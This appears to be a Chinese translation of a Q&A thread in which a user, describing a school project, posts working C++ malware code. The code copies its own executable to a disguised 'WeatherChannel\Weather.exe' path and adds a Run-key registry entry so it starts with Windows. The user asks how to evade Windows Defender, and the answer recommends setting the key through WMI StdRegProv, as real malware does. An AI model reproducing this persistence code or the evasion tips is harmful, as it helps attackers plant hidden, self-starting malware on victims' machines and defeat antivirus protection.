避免防病毒检测 C++
Posted
技术标签:
【中文标题】避免防病毒检测 C++【英文标题】:Avoid Antivirus detection C++ 【发布时间】:2021-04-30 13:28:13 【问题描述】:对于一个学校项目,我正在开发一种小型恶意软件,它可以自我复制并使用 reg 密钥自动运行。
我希望我的程序设置一个 reg 键来自动运行,但是当我这样做时,Windows Defender 会从 windows.h 中检测到 RegSetValueExA
函数。我还希望我的程序在没有管理员权限的情况下执行。
我的老师告诉我,可以避免检测。我必须检测 WD 何时查看我的程序并告诉它在 WD 执行扫描时停止/休眠。他还告诉我,可以使用 powershell 禁用 WD。但我真的不知道该怎么做。
下面是触发 Windows Defender 的代码:
void Victim::replicateNpersist()
char filename[ MAX_PATH ];
// Declaration of the directory that contain the malware
string Dir = "C:\\Users\\"+string(c_user)+"\\AppData\\Local\\WeatherChannel";
int LDir = Dir.length();
char dirPath[LDir+1];
strcpy(dirPath, Dir.c_str());
// Declaration of the object to copy
string Dest = "C:\\Users\\"+c_user+"\\AppData\\Local\\WeatherChannel\\Weather.exe";
int LDest = Dest.length();
char newLocation[LDest+1];
strcpy(newLocation,Dest.c_str());
// Creation of directory
CreateDirectoryA(dirPath, NULL);
BOOL stats=0;
DWORD size = GetModuleFileNameA(NULL, filename, MAX_PATH);
CopyFileA(filename, newLocation, stats);
// Persistence
HKEY hKey;
LPCSTR keyPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
LONG lnRes = RegOpenKeyExA(HKEY_CURRENT_USER, keyPath,0,KEY_WRITE,&hKey);
if(lnRes == ERROR_SUCCESS)
RegSetValueExA(hKey,"Weather.exe", 0, REG_SZ,(LPBYTE)newLocation,strlen(newLocation)+1);
【问题讨论】:
如果恶意软件可以要求 Windows Defender 不起作用,那么它的意义何在? 我也问过自己同样的问题,但我的 McAfee 逆向师老师告诉我这是可能的。我还发现了一些关于 AV 补丁的文章。关键是隐藏 windows.h 的可疑 API 调用 [汇编] 语言与此有什么关系?你在汇编中写东西吗?还是您只是担心编译器创建的机器代码可以被 Windows Defender 识别?无论如何,不太清楚你为什么标记它,可能会很好详细说明。 我们可以在 C++ 程序中实现汇编。我看到一些 AV 修补方法使用 asm 来捕获 AV 扫描:rohitab.com/discuss/topic/39662-patching-avs/…。也许仅使用 C++ 来避免 AV 检测是不可能的。这就是为什么我把 asm 放在标签中 WD 不像保安人员在建筑物内巡逻,只要它当时正在寻找其他地方,您就可以潜入其中。如果你调用 RegSetValue,它会注意到,因为当程序调用 RegSetValue 时它会得到通知。 【参考方案1】:尝试以其他方式创建您的注册表项。像许多真正的恶意软件一样,您可以尝试通过 WMI 使用 StdRegProv 类: Getting value from an OUT parameter in WMI in C++
https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf
【讨论】:
以上是关于避免防病毒检测 C++的主要内容,如果未能解决你的问题,请参考以下文章